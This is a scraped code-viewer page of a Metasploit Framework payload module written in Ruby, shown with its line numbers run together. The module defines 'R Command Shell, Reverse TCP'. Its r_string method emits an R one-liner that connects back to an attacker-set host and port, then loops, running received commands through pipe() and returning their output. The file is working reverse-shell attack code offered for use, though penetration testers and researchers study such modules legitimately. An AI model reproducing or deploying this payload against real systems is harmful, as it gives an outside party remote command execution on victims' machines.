Path: blob/master/modules/payloads/singles/r/shell_reverse_tcp.rb
24706 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 15078include Msf::Payload::Single9include Msf::Payload::R10include Msf::Sessions::CommandShellOptions1112def initialize(info = {})13super(14merge_info(15info,16'Name' => 'R Command Shell, Reverse TCP',17'Description' => 'Connect back and create a command shell via R',18'Author' => [ 'RageLtMan <rageltman[at]sempervictus>' ],19'License' => MSF_LICENSE,20'Platform' => 'r',21'Arch' => ARCH_R,22'Handler' => Msf::Handler::ReverseTcp,23'Session' => Msf::Sessions::CommandShell,24'PayloadType' => 'r',25'Payload' => { 'Offsets' => {}, 'Payload' => '' }26)27)28end2930def generate(_opts = {})31return prepends(r_string)32end3334def r_string35lhost = Rex::Socket.is_ipv6?(datastore['LHOST']) ? "[#{datastore['LHOST']}]" : datastore['LHOST']36return "s<-socketConnection(host='#{lhost}',port=#{datastore['LPORT']}," \37"blocking=TRUE,server=FALSE,open='r+');while(TRUE){writeLines(readLines" \38'(pipe(readLines(s, 1))),s)}'39end40end414243